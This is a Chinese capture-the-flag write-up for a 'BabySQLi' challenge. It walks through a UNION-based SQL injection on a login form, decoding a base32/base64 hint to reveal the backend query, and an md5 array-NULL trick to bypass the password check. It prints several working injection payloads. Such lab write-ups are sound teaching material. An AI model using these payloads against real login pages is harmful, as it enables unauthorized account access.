CTF-"BabySQLi"之SQL注入伪造虚拟查询
青少年CTF训练平台
传送门:青少年CTF训练平台
先看页面,只有简单的登录框,我们这里尝试登录一下,看能不能绕过
这里显示do not hack me,直接上bp抓包一下
题目里说明了注入伪造虚拟查询记录,我们这里尝试一下联合注入
name=a'union select 1,2,3#&pw=admin
我们发现页面返回”wrong user“,当我们传admin,提示“wrong pass”,
得到我们的用户名就是admin了
在这里尝试回显位,只有admin位于第二个位置时才出现“wrong pass”
name=a'union select 1,'admin',3#&pw=admin
我在这里忽视一点,才发现到这一串,拿去解码一下得到
纯大写+数字,猜base32
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
两个等号,base64
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
得到
select * from user where username = '$name'
这里的第二位是admin,而且字段一般都是id、username、password这种顺序,我们这里尝试一下
name=a'union select 1,'admin','abc'#&pw=abc
结果还是 wrong pass,问题就出现在第三位了
在真实网站,数据库中字段一般都是加密的,常见加密方式mysql、mysql5、md5
md5不能处理数组,如果是数组则会返回NULL
看这篇文章:
MD5加密漏洞(MD5绕过方式-0e绕过/数组绕过/MD5碰撞/MD5SQL注入)
name=a' union select 1,'admin',NULL#&pw[]=123
拿到flag